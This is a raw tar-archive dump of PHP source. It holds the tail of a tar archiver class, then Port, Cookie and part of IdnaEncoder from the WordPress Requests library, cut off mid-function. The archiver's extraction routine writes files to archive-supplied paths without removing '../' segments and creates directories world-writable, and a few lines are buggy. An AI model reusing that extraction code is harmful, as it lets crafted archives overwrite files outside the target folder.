				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
Port.php000064400000002741151450174520006211 0ustar00<?php
/**
 * Port utilities for Requests
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;

/**
 * Find the correct port depending on the Request type.
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */
final class Port {

	/**
	 * Port to use with Acap requests.
	 *
	 * @var int
	 */
	const ACAP = 674;

	/**
	 * Port to use with Dictionary requests.
	 *
	 * @var int
	 */
	const DICT = 2628;

	/**
	 * Port to use with HTTP requests.
	 *
	 * @var int
	 */
	const HTTP = 80;

	/**
	 * Port to use with HTTP over SSL requests.
	 *
	 * @var int
	 */
	const HTTPS = 443;

	/**
	 * Retrieve the port number to use.
	 *
	 * @param string $type Request type.
	 *                     The following requests types are supported:
	 *                     'acap', 'dict', 'http' and 'https'.
	 *
	 * @return int
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed.
	 * @throws \WpOrg\Requests\Exception                 When a non-supported port is requested ('portnotsupported').
	 */
	public static function get($type) {
		if (!is_string($type)) {
			throw InvalidArgument::create(1, '$type', 'string', gettype($type));
		}

		$type = strtoupper($type);
		if (!defined("self::{$type}")) {
			$message = sprintf('Invalid port type (%s) passed', $type);
			throw new Exception($message, 'portnotsupported');
		}

		return constant("self::{$type}");
	}
}
Cookie.php000064400000036035151450174520006501 0ustar00<?php
/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response\Headers;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */
class Cookie {
	/**
	 * Cookie name.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Cookie value.
	 *
	 * @var string
	 */
	public $value;

	/**
	 * Cookie attributes
	 *
	 * Valid keys are `'path'`, `'domain'`, `'expires'`, `'max-age'`, `'secure'` and
	 * `'httponly'`.
	 *
	 * @var \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array Array-like object
	 */
	public $attributes = [];

	/**
	 * Cookie flags
	 *
	 * Valid keys are `'creation'`, `'last-access'`, `'persistent'` and `'host-only'`.
	 *
	 * @var array
	 */
	public $flags = [];

	/**
	 * Reference time for relative calculations
	 *
	 * This is used in place of `time()` when calculating Max-Age expiration and
	 * checking time validity.
	 *
	 * @var int
	 */
	public $reference_time = 0;

	/**
	 * Create a new cookie object
	 *
	 * @param string                                                  $name           The name of the cookie.
	 * @param string                                                  $value          The value for the cookie.
	 * @param array|\WpOrg\Requests\Utility\CaseInsensitiveDictionary $attributes Associative array of attribute data
	 * @param array                                                   $flags          The flags for the cookie.
	 *                                                                                Valid keys are `'creation'`, `'last-access'`,
	 *                                                                                `'persistent'` and `'host-only'`.
	 * @param int|null                                                $reference_time Reference time for relative calculations.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $value argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $attributes argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $flags argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $reference_time argument is not an integer or null.
	 */
	public function __construct($name, $value, $attributes = [], $flags = [], $reference_time = null) {
		if (is_string($name) === false) {
			throw InvalidArgument::create(1, '$name', 'string', gettype($name));
		}

		if (is_string($value) === false) {
			throw InvalidArgument::create(2, '$value', 'string', gettype($value));
		}

		if (InputValidator::has_array_access($attributes) === false || InputValidator::is_iterable($attributes) === false) {
			throw InvalidArgument::create(3, '$attributes', 'array|ArrayAccess&Traversable', gettype($attributes));
		}

		if (is_array($flags) === false) {
			throw InvalidArgument::create(4, '$flags', 'array', gettype($flags));
		}

		if ($reference_time !== null && is_int($reference_time) === false) {
			throw InvalidArgument::create(5, '$reference_time', 'integer|null', gettype($reference_time));
		}

		$this->name       = $name;
		$this->value      = $value;
		$this->attributes = $attributes;
		$default_flags    = [
			'creation'    => time(),
			'last-access' => time(),
			'persistent'  => false,
			'host-only'   => true,
		];
		$this->flags      = array_merge($default_flags, $flags);

		$this->reference_time = time();
		if ($reference_time !== null) {
			$this->reference_time = $reference_time;
		}

		$this->normalize();
	}

	/**
	 * Get the cookie value
	 *
	 * Attributes and other data can be accessed via methods.
	 */
	public function __toString() {
		return $this->value;
	}

	/**
	 * Check if a cookie is expired.
	 *
	 * Checks the age against $this->reference_time to determine if the cookie
	 * is expired.
	 *
	 * @return boolean True if expired, false if time is valid.
	 */
	public function is_expired() {
		// RFC6265, s. 4.1.2.2:
		// If a cookie has both the Max-Age and the Expires attribute, the Max-
		// Age attribute has precedence and controls the expiration date of the
		// cookie.
		if (isset($this->attributes['max-age'])) {
			$max_age = $this->attributes['max-age'];
			return $max_age < $this->reference_time;
		}

		if (isset($this->attributes['expires'])) {
			$expires = $this->attributes['expires'];
			return $expires < $this->reference_time;
		}

		return false;
	}

	/**
	 * Check if a cookie is valid for a given URI
	 *
	 * @param \WpOrg\Requests\Iri $uri URI to check
	 * @return boolean Whether the cookie is valid for the given URI
	 */
	public function uri_matches(Iri $uri) {
		if (!$this->domain_matches($uri->host)) {
			return false;
		}

		if (!$this->path_matches($uri->path)) {
			return false;
		}

		return empty($this->attributes['secure']) || $uri->scheme === 'https';
	}

	/**
	 * Check if a cookie is valid for a given domain
	 *
	 * @param string $domain Domain to check
	 * @return boolean Whether the cookie is valid for the given domain
	 */
	public function domain_matches($domain) {
		if (is_string($domain) === false) {
			return false;
		}

		if (!isset($this->attributes['domain'])) {
			// Cookies created manually; cookies created by Requests will set
			// the domain to the requested domain
			return true;
		}

		$cookie_domain = $this->attributes['domain'];
		if ($cookie_domain === $domain) {
			// The cookie domain and the passed domain are identical.
			return true;
		}

		// If the cookie is marked as host-only and we don't have an exact
		// match, reject the cookie
		if ($this->flags['host-only'] === true) {
			return false;
		}

		if (strlen($domain) <= strlen($cookie_domain)) {
			// For obvious reasons, the cookie domain cannot be a suffix if the passed domain
			// is shorter than the cookie domain
			return false;
		}

		if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) {
			// The cookie domain should be a suffix of the passed domain.
			return false;
		}

		$prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain));
		if (substr($prefix, -1) !== '.') {
			// The last character of the passed domain that is not included in the
			// domain string should be a %x2E (".") character.
			return false;
		}

		// The passed domain should be a host name (i.e., not an IP address).
		return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain);
	}

	/**
	 * Check if a cookie is valid for a given path
	 *
	 * From the path-match check in RFC 6265 section 5.1.4
	 *
	 * @param string $request_path Path to check
	 * @return boolean Whether the cookie is valid for the given path
	 */
	public function path_matches($request_path) {
		if (empty($request_path)) {
			// Normalize empty path to root
			$request_path = '/';
		}

		if (!isset($this->attributes['path'])) {
			// Cookies created manually; cookies created by Requests will set
			// the path to the requested path
			return true;
		}

		if (is_scalar($request_path) === false) {
			return false;
		}

		$cookie_path = $this->attributes['path'];

		if ($cookie_path === $request_path) {
			// The cookie-path and the request-path are identical.
			return true;
		}

		if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
			if (substr($cookie_path, -1) === '/') {
				// The cookie-path is a prefix of the request-path, and the last
				// character of the cookie-path is %x2F ("/").
				return true;
			}

			if (substr($request_path, strlen($cookie_path), 1) === '/') {
				// The cookie-path is a prefix of the request-path, and the
				// first character of the request-path that is not included in
				// the cookie-path is a %x2F ("/") character.
				return true;
			}
		}

		return false;
	}

	/**
	 * Normalize cookie and attributes
	 *
	 * @return boolean Whether the cookie was successfully normalized
	 */
	public function normalize() {
		foreach ($this->attributes as $key => $value) {
			$orig_value = $value;

			if (is_string($key)) {
				$value = $this->normalize_attribute($key, $value);
			}

			if ($value === null) {
				unset($this->attributes[$key]);
				continue;
			}

			if ($value !== $orig_value) {
				$this->attributes[$key] = $value;
			}
		}

		return true;
	}

	/**
	 * Parse an individual cookie attribute
	 *
	 * Handles parsing individual attributes from the cookie values.
	 *
	 * @param string $name Attribute name
	 * @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag)
	 * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
	 */
	protected function normalize_attribute($name, $value) {
		switch (strtolower($name)) {
			case 'expires':
				// Expiration parsing, as per RFC 6265 section 5.2.1
				if (is_int($value)) {
					return $value;
				}

				$expiry_time = strtotime($value);
				if ($expiry_time === false) {
					return null;
				}

				return $expiry_time;

			case 'max-age':
				// Expiration parsing, as per RFC 6265 section 5.2.2
				if (is_int($value)) {
					return $value;
				}

				// Check that we have a valid age
				if (!preg_match('/^-?\d+$/', $value)) {
					return null;
				}

				$delta_seconds = (int) $value;
				if ($delta_seconds <= 0) {
					$expiry_time = 0;
				} else {
					$expiry_time = $this->reference_time + $delta_seconds;
				}

				return $expiry_time;

			case 'domain':
				// Domains are not required as per RFC 6265 section 5.2.3
				if (empty($value)) {
					return null;
				}

				// Domain normalization, as per RFC 6265 section 5.2.3
				if ($value[0] === '.') {
					$value = substr($value, 1);
				}

				return $value;

			default:
				return $value;
		}
	}

	/**
	 * Format a cookie for a Cookie header
	 *
	 * This is used when sending cookies to a server.
	 *
	 * @return string Cookie formatted for Cookie header
	 */
	public function format_for_header() {
		return sprintf('%s=%s', $this->name, $this->value);
	}

	/**
	 * Format a cookie for a Set-Cookie header
	 *
	 * This is used when sending cookies to clients. This isn't really
	 * applicable to client-side usage, but might be handy for debugging.
	 *
	 * @return string Cookie formatted for Set-Cookie header
	 */
	public function format_for_set_cookie() {
		$header_value = $this->format_for_header();
		if (!empty($this->attributes)) {
			$parts = [];
			foreach ($this->attributes as $key => $value) {
				// Ignore non-associative attributes
				if (is_numeric($key)) {
					$parts[] = $value;
				} else {
					$parts[] = sprintf('%s=%s', $key, $value);
				}
			}

			$header_value .= '; ' . implode('; ', $parts);
		}

		return $header_value;
	}

	/**
	 * Parse a cookie string into a cookie object
	 *
	 * Based on Mozilla's parsing code in Firefox and related projects, which
	 * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
	 * specifies some of this handling, but not in a thorough manner.
	 *
	 * @param string $cookie_header Cookie header value (from a Set-Cookie header)
	 * @param string $name
	 * @param int|null $reference_time
	 * @return \WpOrg\Requests\Cookie Parsed cookie object
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 */
	public static function parse($cookie_header, $name = '', $reference_time = null) {
		if (is_string($cookie_header) === false) {
			throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header));
		}

		if (is_string($name) === false) {
			throw InvalidArgument::create(2, '$name', 'string', gettype($name));
		}

		$parts   = explode(';', $cookie_header);
		$kvparts = array_shift($parts);

		if (!empty($name)) {
			$value = $cookie_header;
		} elseif (strpos($kvparts, '=') === false) {
			// Some sites might only have a value without the equals separator.
			// Deviate from RFC 6265 and pretend it was actually a blank name
			// (`=foo`)
			//
			// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
			$name  = '';
			$value = $kvparts;
		} else {
			list($name, $value) = explode('=', $kvparts, 2);
		}

		$name  = trim($name);
		$value = trim($value);

		// Attribute keys are handled case-insensitively
		$attributes = new CaseInsensitiveDictionary();

		if (!empty($parts)) {
			foreach ($parts as $part) {
				if (strpos($part, '=') === false) {
					$part_key   = $part;
					$part_value = true;
				} else {
					list($part_key, $part_value) = explode('=', $part, 2);
					$part_value                  = trim($part_value);
				}

				$part_key              = trim($part_key);
				$attributes[$part_key] = $part_value;
			}
		}

		return new static($name, $value, $attributes, [], $reference_time);
	}

	/**
	 * Parse all Set-Cookie headers from request headers
	 *
	 * @param \WpOrg\Requests\Response\Headers $headers Headers to parse from
	 * @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins
	 * @param int|null $time Reference time for expiration calculation
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $origin argument is not null or an instance of the Iri class.
	 */
	public static function parse_from_headers(Headers $headers, $origin = null, $time = null) {
		$cookie_headers = $headers->getValues('Set-Cookie');
		if (empty($cookie_headers)) {
			return [];
		}

		if ($origin !== null && !($origin instanceof Iri)) {
			throw InvalidArgument::create(2, '$origin', Iri::class . ' or null', gettype($origin));
		}

		$cookies = [];
		foreach ($cookie_headers as $header) {
			$parsed = self::parse($header, '', $time);

			// Default domain/path attributes
			if (empty($parsed->attributes['domain']) && !empty($origin)) {
				$parsed->attributes['domain'] = $origin->host;
				$parsed->flags['host-only']   = true;
			} else {
				$parsed->flags['host-only'] = false;
			}

			$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
			if (!$path_is_valid && !empty($origin)) {
				$path = $origin->path;

				// Default path normalization as per RFC 6265 section 5.1.4
				if (substr($path, 0, 1) !== '/') {
					// If the uri-path is empty or if the first character of
					// the uri-path is not a %x2F ("/") character, output
					// %x2F ("/") and skip the remaining steps.
					$path = '/';
				} elseif (substr_count($path, '/') === 1) {
					// If the uri-path contains no more than one %x2F ("/")
					// character, output %x2F ("/") and skip the remaining
					// step.
					$path = '/';
				} else {
					// Output the characters of the uri-path from the first
					// character up to, but not including, the right-most
					// %x2F ("/").
					$path = substr($path, 0, strrpos($path, '/'));
				}

				$parsed->attributes['path'] = $path;
			}

			// Reject invalid cookie domains
			if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
				continue;
			}

			$cookies[$parsed->name] = $parsed;
		}

		return $cookies;
	}
}
IdnaEncoder.php000064400000030223151450174520007434 0ustar00<?php

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IDNA URL encoder
 *
 * Note: Not fully compliant, as nameprep does nothing yet.
 *
 * @package Requests\Utilities
 *
 * @link https://tools.ietf.org/html/rfc3490 IDNA specification
 * @link https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification
 */
class IdnaEncoder {
	/**
	 * ACE prefix used for IDNA
	 *
	 * @link https://tools.ietf.org/html/rfc3490#section-5
	 * @var string
	 */
	const ACE_PREFIX = 'xn--';

	/**
	 * Maximum length of a IDNA URL in ASCII.
	 *
	 * @see \WpOrg\Requests\IdnaEncoder::to_ascii()
	 *
	 * @since 2.0.0
	 *
	 * @var int
	 */
	const MAX_LENGTH = 64;

	/**#@+
	 * Bootstrap constant for Punycode
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 * @var int
	 */
	const BOOTSTRAP_BASE         = 36;
	const BOOTSTRAP_TMIN         = 1;
	const BOOTSTRAP_TMAX         = 26;
	const BOOTSTRAP_SKEW         = 38;
	const BOOTSTRAP_DAMP         = 700;
	const BOOTSTRAP_INITIAL_BIAS = 72;
	const BOOTSTRAP_INITIAL_N    = 128;
	/**#@-*/

	/**
	 * Encode a hostname using Punycode
	 *
	 * @param string|Stringable $hostname Hostname
	 * @return string Punycode-encoded hostname
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function encode($hostname) {
		if (InputValidator::is_string_or_stringable($hostname) === false) {
			throw InvalidArgument::create(1, '$hostname', 'string|Stringable', gettype($hostname));
		}

		$parts = explode('.', $hostname);
		foreach ($parts as &$part) {
			$part = self::to_ascii($part);
		}

		return implode('.', $parts);
	}

	/**
	 * Convert a UTF-8 text string to an ASCII string using Punycode
	 *
	 * @param string $text ASCII or UTF-8 string (max length 64 characters)
	 * @return string ASCII string
	 *
	 * @throws \WpOrg\Requests\Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`)
	 * @throws \WpOrg\Requests\Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`)
	 * @throws \WpOrg\Requests\Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`)
	 * @throws \WpOrg\Requests\Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`)
	 */
	public static function to_ascii($text) {
		// Step 1: Check if the text is already ASCII
		if (self::is_ascii($text)) {
			// Skip to step 7
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

			throw new Exception('Provided string is too long', 'idna.provided_too_long', $text);
		}

		// Step 2: nameprep
		$text = self::nameprep($text);

		// Step 3: UseSTD3ASCIIRules is false, continue
		// Step 4: Check if it's ASCII now
		if (self::is_ascii($text)) {
			// Skip to step 7
			/*
			 * As the `nameprep()` method returns the original string, this code will never be reached until
			 * that method is properly implemented.
			 */
			// @codeCoverageIgnoreStart
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

			throw new Exception('Prepared string is too long', 'idna.prepared_too_long', $text);
			// @codeCoverageIgnoreEnd
		}

		// Step 5: Check ACE prefix
		if (strpos($text, self::ACE_PREFIX) === 0) {
			throw new Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $text);
		}

		// Step 6: Encode with Punycode
		$text = self::punycode_encode($text);

		// Step 7: Prepend ACE prefix
		$text = self::ACE_PREFIX . $text;

		// Step 8: Check size
		if (strlen($text) < self::MAX_LENGTH) {
			return $text;
		}

		throw new Exception('Encoded string is too long', 'idna.encoded_too_long', $text);
	}

	/**
	 * Check whether a given text string contains only ASCII characters
	 *
	 * @internal (Testing found regex was the fastest implementation)
	 *
	 * @param string $text Text to examine.
	 * @return bool Is the text string ASCII-only?
	 */
	protected static function is_ascii($text) {
		return (preg_match('/(?:[^\x00-\x7F])/', $text) !== 1);
	}

	/**
	 * Prepare a text string for use as an IDNA name
	 *
	 * @todo Implement this based on RFC 3491 and the newer 5891
	 * @param string $text Text to prepare.
	 * @return string Prepared string
	 */
	protected static function nameprep($text) {
		return $text;
	}

	/**
	 * Convert a UTF-8 string to a UCS-4 codepoint array
	 *
	 * Based on \WpOrg\Requests\Iri::replace_invalid_with_pct_encoding()
	 *
	 * @param string $input Text to convert.
	 * @return array Unicode code points
	 *
	 * @throws \WpOrg\Requests\Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`)
	 */
	protected static function utf8_to_codepoints($input) {
		$codepoints = [];

		// Get number of bytes
		$strlen = strlen($input);

		// phpcs:ignore Generic.CodeAnalysis.JumbledIncrementer -- This is a deliberate choice.
		for ($position = 0; $position < $strlen; $position++) {
			$value = ord($input[$position]);

			if ((~$value & 0x80) === 0x80) {            // One byte sequence:
				$character = $value;
				$length    = 1;
				$remaining = 0;
			} elseif (($value & 0xE0) === 0xC0) {       // Two byte sequence:
				$character = ($value & 0x1F) << 6;
				$length    = 2;
				$remaining = 1;
			} elseif (($value & 0xF0) === 0xE0) {       // Three byte sequence:
				$character = ($value & 0x0F) << 12;
				$length    = 3;
				$remaining = 2;
			} elseif (($value & 0xF8) === 0xF0) {       // Four byte sequence:
				$character = ($value & 0x07) << 18;
				$length    = 4;
				$remaining = 3;
			} else {                                    // Invalid byte:
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value);
			}

			if ($remaining > 0) {
				if ($position + $length > $strlen) {
					throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
				}

				for ($position++; $remaining > 0; $position++) {
					$value = ord($input[$position]);

					// If it is invalid, count the sequence as invalid and reprocess the current byte:
					if (($value & 0xC0) !== 0x80) {
